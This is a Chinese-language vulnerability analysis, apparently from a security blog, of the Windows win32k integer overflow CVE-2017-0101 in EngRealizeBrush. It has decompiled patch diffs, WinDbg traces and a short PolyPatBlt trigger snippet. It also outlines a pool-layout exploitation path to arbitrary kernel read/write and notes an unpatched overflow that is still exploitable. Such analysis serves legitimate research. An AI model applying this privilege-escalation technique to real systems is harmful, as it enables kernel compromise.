作者:Leeqwind
作者博客:https://xiaodaozhi.com/exploit/70.html

前面的文章分析了 CVE-2016-0165 整數上溢漏洞,這篇文章繼續分析另一個同樣發生在 GDI 子系統的 CVE-2017-0101 (MS17-017) 整數向上溢出漏洞。分析的環境是 Windows 7 x86 SP1 基礎環境的虛擬機,配置 1.5GB 的內存。

0x0 前言

這篇文章分析了發生在 GDI 子系統的 CVE-2017-0101 (MS17-017) 整數向上溢出漏洞。在函數 EngRealizeBrush 中引擎模擬實現筆刷繪制時,系統根據筆刷圖案位圖的大小以及目標設備表面的像素顏色格式計算應該分配的內存大小,但是沒有進行必要的數值完整性校驗,導致可能發生潛在的整數向上溢出的問題,致使實際上分配極小的內存塊,隨后函數對分配的 ENGBRUSH 對象成員域進行初始化。在整數溢出發生的情況下,如果分配的內存塊大小小于 ENGBRUSH 類的大小,那么在初始化成員域的時候就可能觸發緩沖區溢出漏洞,導致緊隨其后的內存塊中的數據被覆蓋。

接下來函數調用 SURFMEM::bCreateDIB 分配臨時的位圖表面對象,并在其中對數值的有效性進行再次校驗,判斷數值是否大于 0x7FFFFFFF。但在此時校驗的數值比分配的緩沖區大小數值小 0x84,因此如果實際分配的緩沖區是小于 0x40 字節的情況,那么在函數 SURFMEM::bCreateDIB 中校驗的數值就將不符合函數 SURFMEM::bCreateDIB 的要求,導致調用失敗,函數向上返回,并在上級函數中釋放分配的 ENGBRUSH 對象。

在上級函數中在釋放先前分配 ENGBRUSH 對象時,如果先前的成員域初始化操作破壞了位于同一內存頁中的下一個內存塊的 POOL_HEADER 結構,那么在釋放內存時將會引發 BAD_POOL_HEADER 的異常。通過巧妙的內核池內存布局,使目標 ENGBRUSH 對象的內存塊被分配在內存頁的末尾,這樣一來在釋放內存塊時將不會校驗相鄰內存塊 POOL_HEADER 結構的完整性。

利用整數向上溢出導致后續的緩沖區溢出漏洞,使函數在初始化 ENGBRUSH 對象的成員域時,將原本寫入 ENGBRUSH 對象的數據覆蓋在下一內存頁起始位置的位圖表面 SURFACE 對象中,將成員域 sizlBitmap.cy 覆蓋為 0x6 等像素位格式的枚舉值,致使目標位圖表面對象的可控范圍發生改變。通過與位于同一內存頁中緊隨其后的內核 GDI 對象或下一內存頁相同位置的位圖表面對象相互配合,實現相對或任意內存地址的讀寫。

本分析中涉及到的內核中的類或結構體可在《圖形設備接口子系統的對象解釋》文檔中找到解釋說明。

0x1 原理

漏洞存在于 win32k 內核模塊的函數 EngRealizeBrush 中。該函數屬于 GDI 子系統的服務例程,用于根據邏輯筆刷對象在目標表面對象中引擎模擬實現筆刷繪制。根據修復補丁文件對比,發現和其他整數向上溢出漏洞的修復補丁程序類似的,修復這個漏洞的補丁程序也是在函數中對某個變量的數值進行運算時,增加函數 ULongLongToULongULongAdd 調用來阻止整數向上溢出漏洞的發生,被校驗的目標變量在后續的代碼中被作為分配內存緩沖區函數 PALLOCMEM 的緩沖區大小參數。那么接下來就從這兩個函數所服務的變量著手進行分析。

順便一提的是,補丁程序在增加校驗函數時遺漏了對 v16 + 0x40 計算語句的校驗,因此攻擊者在已安裝 CVE-2017-0101 漏洞安全更新的操作系統環境中仍舊能夠利用該函數中的整數溢出漏洞。不過那就是另外一個故事了。

補丁前后的漏洞關鍵位置代碼對比:

  v60 = (unsigned int)(v11 * v8) >> 3;
  v49 = v60 * v68;
  v12 = v60 * v68 + 0x44;
  if ( v61 )
  {
    v13 = *((_DWORD *)v61 + 8);
    v14 = *((_DWORD *)v61 + 9);
    v15 = 0x20;
    v54 = v13;
    v55 = v14;
    if ( v13 != 0x20 && v13 != 0x10 && v13 != 8 )
      v15 = (v13 + 0x3F) & 0xFFFFFFE0;
    v56 = v15;
    v50 = v15 >> 3;
    v12 += (v15 >> 3) * v14;
  }
  [...]
  v66 = v12 + 0x40;
  v16 = PALLOCMEM(v12 + 0x40, 'rbeG');

補丁前

  if ( ULongLongToULong((_DWORD)a3 * v10, (unsigned int)a3 * (unsigned __int64)(unsigned int)v10 >> 32, &v67) < 0 )
    goto LABEL_54;
  v67 >>= 3;
  if ( ULongLongToULong(v67 * v64, v67 * (unsigned __int64)(unsigned int)v64 >> 32, &a3) < 0
    || ULongAdd(0x44u, (unsigned __int32)a3, &v71) < 0 )
  {
    goto LABEL_54;
  }
  if ( v62 )
  {
    [...]
    v48 = v15 >> 3;
    if ( ULongLongToULong(v48 * v14, v48 * (unsigned __int64)(unsigned int)v14 >> 32, &v65) < 0
      || ULongAdd(v71, v65, &v71) < 0 )
    {
      goto LABEL_54;
    }
  }
  v16 = v71;
  [...]
  v71 = v16 + 0x40;
  v17 = PALLOCMEM(v16 + 0x40, 'rbeG');

補丁后

在 MSDN 網站存在函數 DrvRealizeBrush 的文檔說明。在 Windows 圖形子系統中,通常地 Eng 前綴函數是同名的 Drv 前綴函數的 GDI 模擬,兩者參數基本一致。根據 IDA 和其他相關文檔,獲得函數 EngRealizeBrush 的函數原型如下:

int __stdcall EngRealizeBrush(
    struct _BRUSHOBJ *pbo,       // a1
    struct _SURFOBJ *psoTarget,  // a2
    struct _SURFOBJ *psoPattern, // a3
    struct _SURFOBJ *psoMask,    // a4
    struct _XLATEOBJ *pxlo,      // a5
    unsigned __int32 iHatch      // a6
);

函數 EngRealizeBrush 的函數原型

其中的第 1 個參數 pbo 指向目標 BRUSHOBJ 筆刷對象。數據結構 BRUSHOBJ 用來描述所關聯的筆刷對象實體,在 MSDN 存在如下定義:

typedef struct _BRUSHOBJ {
  ULONG iSolidColor;
  PVOID pvRbrush;
  FLONG flColorType;
} BRUSHOBJ;

結構體 BRUSHOBJ 的定義

參數 psoTarget / psoPattern / psoMask 都是指向 SURFOBJ 類型對象的指針。結構體 SURFOBJ 的定義如下:

typedef struct tagSIZEL {
    LONG cx;
    LONG cy;
} SIZEL, *PSIZEL;

typedef struct _SURFOBJ {
    DHSURF  dhsurf;         //<[00,04] 04
    HSURF   hsurf;          //<[04,04] 05
    DHPDEV  dhpdev;         //<[08,04] 06
    HDEV    hdev;           //<[0C,04] 07
    SIZEL   sizlBitmap;     //<[10,08] 08 09
    ULONG   cjBits;         //<[18,04] 0A
    PVOID   pvBits;         //<[1C,04] 0B
    PVOID   pvScan0;        //<[20,04] 0C
    LONG    lDelta;         //<[24,04] 0D
    ULONG   iUniq;          //<[28,04] 0E
    ULONG   iBitmapFormat;  //<[2C,04] 0F
    USHORT  iType;          //<[30,02] 10
    USHORT  fjBitmap;       //<[32,02] xx
} SURFOBJ;

結構體 SURFOBJ 的定義

函數的各個關鍵參數的解釋:

  • 參數 pbo 指向存儲筆刷詳細信息的 BRUSHOBJ 對象;該指針實際上指向的是擁有更多成員變量的子類 EBRUSHOBJ 對象,除 psoTarget 之外的其他參數的值都能從該對象中獲取到。
  • 參數 psoTarget 指向將要實現筆刷的目標表面 SURFOBJ 對象;該表面可以是設備的物理表面,設備格式的位圖,或是標準格式的位圖。
  • 參數 psoPattern 指向為筆刷描述圖案的表面 SURFOBJ 對象;對于柵格化的設備來說,該參數是位圖。
  • 參數 psoMask 指向為筆刷描述透明掩碼的表面 SURFOBJ 對象。
  • 參數 pxlo 指向定義圖案位圖的色彩解釋的 XLATEOBJ 對象。

根據前面的代碼片段可知,在函數 EngRealizeBrush 中存在一處 PALLOCMEM 函數調用,用于為將要實現的筆刷對象分配內存緩沖區,傳入的分配大小參數為 v12 + 0x40,變量 v12 正是在修復補丁中增加校驗函數的目標變量。

根據相關源碼對“補丁前”的代碼片段中的一些變量進行重命名:

  cjScanPat = ulSizePat * cxPatRealized >> 3;
  ulSizePat = cjScanPat * sizlPat_cy;
  ulSizeTotal = cjScanPat * sizlPat_cy + 0x44;
  if ( pSurfMsk )
  {
    sizlMsk_cx = *((_DWORD *)pSurfMsk + 8);
    sizlMsk_cy = *((_DWORD *)pSurfMsk + 9);
    cxMskRealized = 32;
    if ( sizlMsk_cx != 32 && sizlMsk_cx != 16 && sizlMsk_cx != 8 )
      cxMskRealized = (sizlMsk_cx + 63) & 0xFFFFFFE0;
    cjScanMsk = cxMskRealized >> 3;
    ulSizeTotal += (cxMskRealized >> 3) * sizlMsk_cy;
  }
  [...]
  ulSizeSet = ulSizeTotal + 0x40;
  pengbrush = (LONG)PALLOCMEM(ulSizeTotal + 0x40, 'rbeG');

對補丁前的代碼片段的變量重命名

其中變量 ulSizeTotal 對應前面的 v12 變量。分析代碼片段可知,影響 ulSizeTotal 變量值的可變因素有 sizlMsk_cx / sizlMsk_cy / ulSizePat / cxPatRealizedsizlPat_cy 變量。其中變量 sizlMsk_cxsizlMsk_cy 是參數 psoMask 指向的 SURFOBJ 對象的成員域 sizlBitmap 的值。因此還有 ulSizePat / cxPatRealizedsizlPat_cy 變量需要繼續向前回溯,以定位出在函數中能夠影響 ulSizeTotal 變量值的最上層可變因素。


可變因素

EngRealizeBrush 函數伊始,三個 SURFOBJ 指針參數被用來獲取所屬的 SURFACE 對象指針并分別放置于對應的指針變量中。SURFACE 是內核中所有 GDI 表面對象的管理對象類,類中存在結構體對象成員 SURFOBJ so 用來存儲當前 SURFACE 對象所管理的位圖實體數據的具體信息,在當前系統環境下,成員對象 SURFOBJ so 起始于 SURFACE 對象 +0x10 字節偏移的位置。

隨后,參數 psoPattern 指向的 SURFOBJ 對象的成員域 sizlBitmap 存儲的位圖高度和寬度數值被分別賦值給 sizlPat_cxsizlPat_cy 變量,并將寬度數值同時賦值給 cxPatRealized 變量。參數 psoTarget 對象的成員域 iBitmapFormat 存儲的值被賦給參數 psoPattern (編譯器導致的變量復用,本應是名為 iFormat 之類的局部變量),用于指示目標位圖 GDI 對象的像素格式。根據位圖格式規則,像素格式可選 1BPP(1) / 4BPP(2) / 8BPP(3) / 16BPP(4) / 24BPP(5) / 32BPP(6) 等枚舉值,用來指示位圖像素點的色彩范圍。

  pSurfTarg = SURFOBJ_TO_SURFACE(psoTarget);
  pSurfPat = SURFOBJ_TO_SURFACE(psoPattern);
  pSurfMsk = SURFOBJ_TO_SURFACE(psoMask);
  cxPatRealized = *((_DWORD *)pSurfPat + 8);
  psoMask = 0;
  psoPattern = (struct _SURFOBJ *)*((_DWORD *)pSurfTarg + 0xF);
  sizlPat_cy = *((_DWORD *)pSurfPat + 9);
  [...]
  sizlPat_cx = cxPatRealized;

函數 EngRealizeBrush 伊始代碼片段

函數隨后根據目標位圖 GDI 對象的像素格式,將變量 ulSizePat 賦值為格式枚舉值所代表的對應像素位數,例如 1BPP 格式的情況就賦值為 132BPP 格式的情況就賦值為 32,以此類推。

與此同時,函數根據目標位圖 GDI 對象的像素格式對變量 cxPatRealized 進行繼續賦值。根據 IDA 代碼對賦值邏輯進行整理:

  1. 當目標位圖 GDI 對象的像素格式為 1BPP 時: 如果 sizlPat_cx 值為 32 / 16/ 8 其中之一時,變量 cxPatRealized 被賦值為 32 數值;否則變量 cxPatRealized 的值以 32 作為初始基數,加上變量 sizlPat_cx 的值并以 32 對齊。

  2. 當目標位圖 GDI 對象的像素格式為 4BPP 時: 如果 sizlPat_cx 值為 8 時,變量 cxPatRealized 被賦值為 8 數值;否則變量 cxPatRealized 的值以 8 作為初始基數,加上變量 sizlPat_cx 的值并以 8 對齊。

  3. 當目標位圖 GDI 對象的像素格式為 8BPP / 16BPP / 24BPP 其中之一時: 變量 cxPatRealized 的值以 4 作為初始基數,加上變量 sizlPat_cx 的值并以 4 對齊。

  4. 當目標位圖 GDI 對象的像素格式為 32BPP 時: 變量 cxPatRealized 被直接賦值為變量 sizlPat_cx 的值。

接下來,函數將變量 cxPatRealized 的值與變量 ulSizePat 存儲的目標位圖對象的像素位數相乘并右移 3 比特位,得到圖案位圖新的掃描線的長度,并將數值存儲在 cjScanPat 變量中。

在 Windows 內核中處理位圖像素數據時,通常是以一行作為單位進行的,像素的一行被稱為掃描線,而掃描線的長度就表示的是在位圖數據中向下移動一行所需的字節數。位圖數據掃描線的長度是由位圖像素位類型和位圖寬度決定的,位圖掃描線長度和位圖高度的乘積作為該位圖像素數據緩沖區的大小。

函數隨后計算 cjScanPatsizlPat_cy 的乘積,得到新的圖案位圖像素數據大小,與 0x44 相加并將結果存儲在 ulSizeTotal 變量中。此處的 0x44ENGBRUSH 類對象的大小,將要分配的內存緩沖區頭部將存儲用來管理該筆刷實現實體的 ENGBRUSH 對象。

這里的新的圖案位圖像素數據大小,是通過與邏輯筆刷關聯的圖案位圖對象的高度和寬度數值,和與設備關聯的目標表面對象的像素位顏色格式數值計算出來的,在函數后續為引擎模擬實現畫刷分配新的位圖表面對象時,該數值將作為新位圖表面對象的像素數據區域的大小。

接下來函數還判斷可選的參數 psoMask 是否為空;如果不為空的話,就取出 psoMask 對象的 sizlBitmap 成員的高度和寬度數值,并依據前面的像素格式為 1BPP 的情況,計算掩碼位圖掃描線的長度和掩碼位圖數據大小,并將數據大小增加進 ulSizeTotal 變量中。

在調用函數 PALLOCMEM 時,傳入的分配內存大小參數是 ulSizeTotal + 0x40,其中的 0x40ENGBRUSH 結構大小減去其最后一個成員 BYTE aj[4] 的大小,位于 ENGBRUSH 對象后面的內存區域將作為 aj 數組成員的后繼元素。函數對 ulSizeTotal 變量增加了兩次 ENGBRUSH 對象的大小,多出來的 0x44 字節在后面用作其他用途,但我并不打算去深究,因為這不重要。

在函數 PALLOCMEM 中最終將通過調用函數 ExAllocatePoolWithTag 分配類型為 0x21 的分頁會話池(Paged session pool)內存緩沖區。

內存緩沖區分配成功后,分配到的緩沖區被作為 ENGBRUSH 對象實例,并將緩沖區指針放置在 pbo 對象 +0x14 字節偏移的成員域中:

  pengbrush = (LONG)PALLOCMEM(ulSizeTotal + 0x40, 'rbeG');
  if ( !pengbrush )
  {
LABEL_43:
    HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
    return 0;
  }
LABEL_44:
  bsoMaskNull = psoMask == 0;
  *((_DWORD *)pbo + 5) = pengbrush;

分配的緩沖區地址存儲在 pbo 對象的成員域

依據以上的分析可知,在函數中能夠影響 ulSizeTotal 變量值的最上層可變因素是:

  • 參數 psoPattern 指向的圖案位圖 SURFOBJ 對象的成員域 sizlBitmap 的值
  • 參數 psoMask 指向的掩碼位圖 SURFOBJ 對象的成員域 sizlBitmap 的值
  • 參數 psoTarget 指向的目標位圖 SURFOBJ 對象的成員域 iBitmapFormat 的值

在獲得 ulSizeTotal 變量最終數值的過程中,數據進行了多次的乘法和加法運算,但是沒有進行任何的數值有效性校驗。如果對涉及到的這幾個參數成員域的值進行特殊構造,將可能使變量 ulSizeTotal 的數值發生整數溢出,該變量的值將變成遠小于應該成為的值,那么在調用函數 PALLOCMEM 分配內存時,將會分配到非常小的內存緩沖區。分配到的緩沖區被作為 ENGBRUSH 對象實例,在后續對該 ENGBRUSH 對象的各個成員變量進行初始化時,將存在發生緩沖區溢出、造成后續的內存塊數據被覆蓋的可能性,嚴重時將導致操作系統 BSOD 的發生。

0x2 追蹤

上一章節分析了漏洞的原理和成因,接下來將尋找一條從用戶態進程到漏洞所在位置的觸發路徑。通過在 IDA 中查看函數 EngRealizeBrush 的引用列表,發現在 win32k 中僅對該函數進行了少量的引用。

函數 EngRealizeBrush 的引用列表

關鍵在于列表的最后一條:在函數 pvGetEngRbrush 中將函數 EngRealizeBrush 的首地址作為參數傳遞給 bGetRealizedBrush 函數調用。

void *__stdcall pvGetEngRbrush(struct _BRUSHOBJ *a1)
{
  [...]
  result = (void *)*((_DWORD *)a1 + 5);
  if ( !result )
  {
    if ( bGetRealizedBrush(*((struct BRUSH **)a1 + 0x12), a1, EngRealizeBrush) )
    {
      vTryToCacheRealization(a1, *((struct RBRUSH **)a1 + 5), *((struct BRUSH **)a1 + 0x12), 1);
      result = (void *)*((_DWORD *)a1 + 5);
    }
    else
    {
      v2 = (void *)*((_DWORD *)a1 + 5);
      if ( v2 )
      {
        ExFreePoolWithTag(v2, 0);
        *((_DWORD *)a1 + 5) = 0;
      }
      result = 0;
    }
  }
  [...]
}

函數 pvGetEngRbrush 的代碼片段

函數首先判斷參數 a1 指向 BRUSHOBJ 對象的 +0x14 字節偏移的成員域是否為空;為空的話則調用 bGetRealizedBrush 函數,并將參數 a1 指向 BRUSHOBJ 對象中存儲的 BRUSH 對象指針作為第 1 個參數、參數 a1 的值作為第 2 個參數、將函數 EngRealizeBrush 的首地址作為第 3 個參數傳入。

如果函數 bGetRealizedBrush 返回失敗,函數將通過調用 ExFreePoolWithTag 函數釋放參數 a1 指向的 BRUSHOBJ 對象 +0x14 字節偏移的成員域指向的內存塊。該成員域在執行函數 EngRealizeBrush 期間會被賦值為分配并實現的 ENGBRUSH 對象的首地址。

在函數 bGetRealizedBrush 中存在對第 3 個參數指向的函數進行調用的語句:

LABEL_81:
  if ( v68 )
  {
    v41 = (struct _SURFOBJ *)(v68 + 0x10);
LABEL_127:
    v51 = (struct _SURFOBJ *)*((_DWORD *)a2 + 0xD);
    if ( v51 )
      v51 = (struct _SURFOBJ *)((char *)v51 + 0x10);
    v19 = a3(a2, v51, v41, v72, v13, v70);
    [...]
  }

函數 bGetRealizedBrush 調用參數 a3 指向的函數

為了精確地捕獲到來自用戶進程的調用路徑,通過 WinDBG 在漏洞發生位置下斷點,很快斷點命中,觀測到調用棧如下:

00 8bb23930 94170c34 win32k!EngRealizeBrush+0x19c
01 8bb239c8 941734af win32k!bGetRealizedBrush+0x70c
02 8bb239e0 941e99ac win32k!pvGetEngRbrush+0x1f
03 8bb23a44 9420e723 win32k!EngBitBlt+0x185
04 8bb23aa8 9420e8ab win32k!GrePatBltLockedDC+0x22b
05 8bb23b54 9420ed96 win32k!GrePolyPatBltInternal+0x176
06 8bb23c18 83e4b1ea win32k!NtGdiPolyPatBlt+0x1bc
07 8bb23c18 772b70b4 nt!KiFastCallEntry+0x12a
08 0023edec 768e6217 ntdll!KiFastSystemCallRet
09 0023edf0 768e61f9 gdi32!NtGdiPolyPatBlt+0xc
0a 0023ee1c 76fc3023 gdi32!PolyPatBlt+0x1e7
[...]

命中斷點的棧回溯序列

觀察棧回溯中的函數調用,發現由用戶態進入內核態的調用者是 PolyPatBlt 函數,那么接下來就嘗試通過函數 PolyPatBlt 作為切入點進行分析。

該函數是 gdi32.dll 模塊的導出函數,但并未被微軟文檔化,僅作為系統內部調用使用。通過查詢相關文檔得到函數原型如下:

BOOL PolyPatBlt(
    HDC hdc,
    DWORD rop,
    PVOID pPoly,
    DWORD Count,
    DWORD Mode
);

函數 PolyPatBlt 的函數原型

函數通過使用當前選擇在指定設備上下文 DC 對象中的筆刷工具來繪制指定數量的矩形。第 1 個參數 hdc 是傳入的指定設備上下文 DC 對象的句柄,矩形的繪制位置和尺寸被定義在參數 pPoly 指向的數組中,參數 Count 指示矩形的數量。筆刷顏色和表面顏色通過指定的柵格化操作來關聯,參數 rop 表示柵格化操作代碼。參數 Mode 可暫時忽略。

參數 pPoly 指針的類型沒有明確的公開定義,模塊代碼中的邏輯顯示其指向的是 0x14 字節大小的數據結構數組,前 4 個成員域定義矩形的坐標和寬度高度,第 5 個成員域指定可選的筆刷句柄,因此可以定義為:

typedef struct _PATRECT {
    INT nXLeft;
    INT nYLeft;
    INT nWidth;
    INT nHeight;
    HBRUSH hBrush;
} PATRECT, *PPATRECT;

結構體 PATRECT 的定義

參數 pPoly 指向的數組的元素個數需要與參數 Count 參數表示的矩形個數對應。留意結構體中第 5 個成員變量 hBrush,這個成員變量很有意思。通過逆向分析相關內核函數得知,如果數組元素的該成員置為空值,那么在內核中處理該元素時將使用先前被選擇在當前設備上下文 DC 對象中的筆刷對象作為實現 ENGBRUSH 對象的邏輯筆刷;而如果某個元素的 hBrush 成員指定了具體的筆刷對象句柄,那么在 GrePolyPatBltInternal 函數中將會對該元素使用指定的筆刷對象作為實現 ENGBRUSH 對象的邏輯筆刷。

  v17 = (HBRUSH)*((_DWORD *)a3 + 4);
  v30 = v17;
  ms_exc.registration.TryLevel = -2;
  if ( v17 )
  {
    v29 = GreDCSelectBrush(*(struct DC **)a1, v17);
    v16 = v31;
  }
  [...]

函數 GrePolyPatBltInternal 為 DC 對象選擇筆刷對象

因此我們并不需要為目標 DC 對象選擇筆刷對象,只需將筆刷對象的句柄放置在數組元素的成員域 hBrush 即可。接下來編寫驗證代碼試圖抵達漏洞所在位置,由于函數 PolyPatBlt 并未文檔化,需要通過 GetProcAddress 動態獲取地址的方式引用。

hdc = GetDC(NULL);
hbmp = CreateBitmap(0x10, 0x100, 1, 1, NULL);
hbru = CreatePatternBrush(hbmp);
pfnPolyPatBlt = (pfPolyPatBlt)GetProcAddress(GetModuleHandleA("gdi32"), "PolyPatBlt");
PATRECT ppb[1] = { 0 };
ppb[0].nXLeft  = 0x100;
ppb[0].nYLeft  = 0x100;
ppb[0].nWidth  = 0x100;
ppb[0].nHeight = 0x100;
ppb[0].hBrush  = hbru;
pfnPolyPatBlt(hdc, PATCOPY, ppb, 1, 0);

漏洞驗證代碼片段

在這段驗證代碼中,首先獲取當前桌面的設備上下文 DC 對象句柄。根據函數 PolyPatBlt 的調用規則,需要在調用之前先創建筆刷對象,這通過函數 CreateBitmapCreatePatternBrush 來實現。創建返回的筆刷對象句柄被放置在 PATRECT 數組元素的 hBrush 成員域中。

編譯代碼后在測試環境執行,可以成功命中漏洞所在位置的斷點:

win32k!EngRealizeBrush+0x19c:
9397d73c e828f20600      call    win32k!PALLOCMEM (939ec969)
kd> k
 # ChildEBP RetAddr
00 8e03ba20 93980c34 win32k!EngRealizeBrush+0x19c
01 8e03bab8 939834af win32k!bGetRealizedBrush+0x70c
02 8e03bad0 939f9ae6 win32k!pvGetEngRbrush+0x1f
03 8e03bb34 93a1e723 win32k!EngBitBlt+0x2bf
04 8e03bb98 93a1e8ab win32k!GrePatBltLockedDC+0x22b
05 8e03bb54 93a1ed96 win32k!GrePolyPatBltInternal+0x176
06 8e03bc18 83e7b1ea win32k!NtGdiPolyPatBlt+0x1bc
07 8e03bc18 77db70b4 nt!KiFastCallEntry+0x12a
08 002cfb8c 764c6217 ntdll!KiFastSystemCallRet
09 002cfb90 764c61f9 gdi32!NtGdiPolyPatBlt+0xc
0a 002cfbbc 0104b146 gdi32!PolyPatBlt+0x1e7
[...]
kd> dc esp l2
8e03b978  00004084 72626547                    .@..Gebr

漏洞驗證代碼執行后命中漏洞所在位置斷點


需要注意的是,在虛擬機同一環境中多次測試驗證代碼程序時,有時候在函數 EngRealizeBrush 中會繞過分配內存的指令塊:

win32k!EngRealizeBrush+0x164:
93a5d704 b958a0c393      mov     ecx,offset win32k!gpCachedEngbrush (93c3a058)
93a5d709 ff157000c193    call    dword ptr [win32k!_imp_InterlockedExchange (93c10070)]
93a5d70f 8bf0            mov     esi,eax
93a5d711 8975ac          mov     dword ptr [ebp-54h],esi
93a5d714 85f6            test    esi,esi
93a5d716 7418            je      win32k!EngRealizeBrush+0x190 (93a5d730)
93a5d718 8d4340          lea     eax,[ebx+40h]
93a5d71b 8945e0          mov     dword ptr [ebp-20h],eax
93a5d71e 3bc3            cmp     eax,ebx
93a5d720 7605            jbe     win32k!EngRealizeBrush+0x187 (93a5d727)
93a5d722 394604          cmp     dword ptr [esi+4],eax
93a5d725 7332            jae     win32k!EngRealizeBrush+0x1b9 (93a5d759)
93a5d759 837d1400        cmp     dword ptr [ebp+14h],0
kd> r eax 
eax=00004084
kd> r ebx
ebx=00004044
kd> ? poi(esi+4)
Evaluate expression: 16516 = 00004084

函數 EngRealizeBrush 繞過分配內存塊的指令塊

創建的 ENGBRUSH 對象在釋放時會嘗試將地址存儲在 win32k 中的全局變量 gpCachedEngbrush 中而不是直接釋放,作為緩存對象以備下次分配合適大小的 ENGBRUSH 對象時直接取用。

EngRealizeBrush 函數中分配內存緩沖區之前,函數會獲取 gpCachedEngbrush 全局變量存儲的值,如果緩存的 ENGBRUSH 對象存在,那么判斷該緩存對象是否滿足當前所需的緩沖區大小,如果滿足就直接使用該緩存對象作為新創建的 ENGBRUSH 對象的緩沖區使用,因此跳過了分配內存的那一步。


焦點回到命中斷點的漏洞所在位置,可以觀測到請求分配的緩沖區大小參數是 0x4084 數值,這是由在驗證代碼中創建筆刷對象時,所關聯的位圖對象的大小決定的。當前的數值并未命中溢出的條件,因此我們需要不斷嘗試和計算,得到滿足溢出條件的可變因素的數值。

為了更清晰地理解關聯的位圖對象與最終分配的內存緩沖區大小的關聯,接下來對相關函數進行深入的分析。


CreatePatternBrush

用戶進程調用函數 CreatePatternBrush 以使用指定位圖作為圖案創建邏輯筆刷,函數接受位圖對象的句柄作為唯一參數。在函數中直接調用 NtGdiCreatePatternBrushInternal 系統調用進入內核中執行。

HBRUSH __stdcall CreatePatternBrush(HBITMAP hbm)
{
  return (HBRUSH)NtGdiCreatePatternBrushInternal((int)hbm, 0, 0);
}

函數 CreatePatternBrush 直接調用 NtGdiCreatePatternBrushInternal 函數

接下來在內核中函數 NtGdiCreatePatternBrushInternal 直接調用函數 GreCreatePatternBrushInternal 來根據傳入的位圖創建圖案筆刷對象。函數 GreCreatePatternBrushInternal 第 1 個參數是傳遞的位圖對象的句柄。后兩個參數由于在用戶進程傳遞時直接傳值為 0 所以暫不關注。

  SURFREF::SURFREF(&ps, hbmp);
  [...]
  if ( *((_DWORD *)ps + 0x12) & 0x4000000 )
  {
    if ( a3 )
      hbmpClone = hbmCreateClone(ps, 8u, 8u);
    else
      hbmpClone = hbmCreateClone(ps, 0, 0);
    if ( hbmpClone )
    {
      a3 = *((_DWORD *)ps + 0x14);
      bIsMonochrome = XEPALOBJ::bIsMonochrome((XEPALOBJ *)&a3);
      BRUSHMEMOBJ::BRUSHMEMOBJ(&v9, hbmpClone, hbmp, bIsMonochrome, 0, 0x40, a2);
      if ( v9 )
      {
        v12 = *v9;
        v10 = 1;
      }
      BRUSHMEMOBJ::~BRUSHMEMOBJ((BRUSHMEMOBJ *)&v9);
    }
  }
  [...]
  return v12;

函數 GreCreatePatternBrushInternal 的代碼片段

函數根據傳入的位圖句柄獲得圖案位圖的 SURFACE 對象的引用,隨后通過調用函數 hbmCreateClone 并傳入圖案位圖的 SURFACE 對象指針以獲得位圖對象克隆實例的句柄。

函數 hbmCreateClone 用來創建指定位圖的引擎管理的克隆。函數生命周期內存在位于棧上的 DEVBITMAPINFO 結構體對象 dbmi。結構體 DEVBITMAPINFO 定義如下:

typedef struct _DEVBITMAPINFO { // dbmi
    ULONG   iFormat;
    ULONG   cxBitmap;
    ULONG   cyBitmap;
    ULONG   cjBits;
    HPALETTE hpal;
    FLONG   fl;
} DEVBITMAPINFO, *PDEVBITMAPINFO;

結構體 DEVBITMAPINFO 的定義

圖案位圖對象的像素位數格式 SURFACE->so.iBitmapFormat 成員域的值被賦值給 dbmi 對象的 iFormat 成員;由于第 2 個和第 3 個參數都被傳入 0,因此函數直接獲取圖案位圖對象的 SURFACE->so.sizlBitmap 成員域的值并存儲在 dbmi 對象的 cxBitmapcyBitmap 成員中。

  dbmi_iFormat = *((_DWORD *)a1 + 0xF);
  if ( a2 && a3 )
  {
    [...]
  }
  else
  {
    dbmi_cx = *((_DWORD *)a1 + 8);
    dbmi_cy = *((_DWORD *)a1 + 9);
  }
  [...]

函數 hbmCreateClone 獲取圖案位圖 SURFACE 對象成員域的值

接下來函數調用 SURFMEM::bCreateDIB 函數并傳入 dbmi 對象首地址,用來構造新的設備無關位圖的內存對象:

  if ( SURFMEM::bCreateDIB((SURFMEM *)&v23, (struct _DEVBITMAPINFO *)&dbmi_iFormat, 0, 0, 0, 0, 0, 0, 1) )
  {
    v19 = dbmi_cx;
    v6 = 0;
    v7 = (*((_DWORD *)a1 + 0x12) & 0x4000) == 0;
    v21 = 0;
    v22 = 0;
    v17 = 0;
    v18 = 0;
    v20 = dbmi_cy;
    v26 = 0;
    [...]
  }
  [...]

函數調用 SURFMEM::bCreateDIB 構造設備無關位圖的內存對象

函數 SURFMEM::bCreateDIB 在初始化新分配的位圖對象時,將使用傳入的參數 dbmi 對象中存儲的關鍵成員的值,包括位圖的寬度高度和像素位格式。

函數 hbmCreateClone 向函數 GreCreatePatternBrushInternal 返回新創建的位圖對象克隆的句柄。接下來函數判斷原位圖 SURFACE 對象的調色盤是否屬于單色模式,接著通過調用構造函數 BRUSHMEMOBJ::BRUSHMEMOBJ 初始化位于棧上的從變量 v9 地址起始的靜態 BRUSHMEMOBJ 對象。

在構造函數 BRUSHMEMOBJ::BRUSHMEMOBJ 中,函數通過調用成員函數 BRUSHMEMOBJ::pbrAllocBrush 分配筆刷 BRUSH 對象內存,接下來對筆刷對象的各個成員域進行初始化賦值。其中,通過第 2 個和第 3 個參數傳入的位圖對象克隆句柄和原位圖對象句柄被分別存儲在新分配的 BRUSH 對象的 +0x14+0x18 字節偏移的成員域中。

  pbrush = BRUSHMEMOBJ::pbrAllocBrush((BRUSHMEMOBJ *)this, a7);
  *pbp_pbr = pbrush;
  if ( pbrush )
  {
    *((_DWORD *)pbrush + 5) = a2;
    *((_DWORD *)pbrush + 6) = a3;
    v10 = (_DWORD *)*((_DWORD *)pbrush + 9);
    *((_DWORD *)pbrush + 0xE) = 0;
    *((_DWORD *)pbrush + 4) = 0xD;
    *v10 = 0;
    *((_DWORD *)pbrush + 7) = a6;
    if ( a4 )
      *((_DWORD *)pbrush + 7) = a6 | 0x20003;
    [...]
  }

構造函數分配并初始化 BRUSH 對象

在這里需要留意 BRUSH 對象 +0x10 字節偏移的成員域賦值為 0xD 數值,該成員用于描述當前筆刷 BRUSH 對象的樣式,數值 0xD 表示這是一個圖案筆刷。該成員在后續的分析中將會涉及。

在構造函數 BRUSHMEMOBJ::BRUSHMEMOBJ 返回后,函數 GreCreatePatternBrushInternal 將剛才新創建的 BRUSH 對象的句柄成員的值作為返回值返回,該句柄值最終將返回到用戶進程的調用函數中。


psoTarget

